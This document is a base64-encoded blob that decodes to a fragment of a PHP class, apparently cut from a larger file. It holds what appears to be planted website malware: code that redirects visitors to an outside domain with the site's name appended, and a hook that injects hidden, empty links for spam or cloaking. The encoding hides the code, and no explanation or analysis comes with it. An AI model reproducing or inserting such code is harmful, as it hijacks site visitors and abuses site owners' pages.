ewoJCQkkZG9tYWluICA9IHN0cl9yZXBsYWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJCWhl YWRlcignTG9jYXRpb246IGh0dHA6Ly9udC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4kZG9tYWlu KTsKCQkJZXhpdDsKCQl9Cgl9CgkKCXB1YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25faG9vaygp ewoJCSRhcnJheSA9IGFycmF5KCk7CgkJZm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNobyAnPGEg aHJlZj0iJy5BcHBfR2V0TGluaygpLiciPjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBmdW5j dGlvbiBfdW5TcGlkZXJfaG9vaygpewoJCS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJTdGFy dFdpdGgoJG5lZWRsZSwgJGhheXN0YWNrKXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5c3RhY2ss IDAsIHN0cmxlbigkbmVlZGxlKSk9PSRuZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0 KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAK CQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2Fn ZVswXTsKCX0KfQoKCg==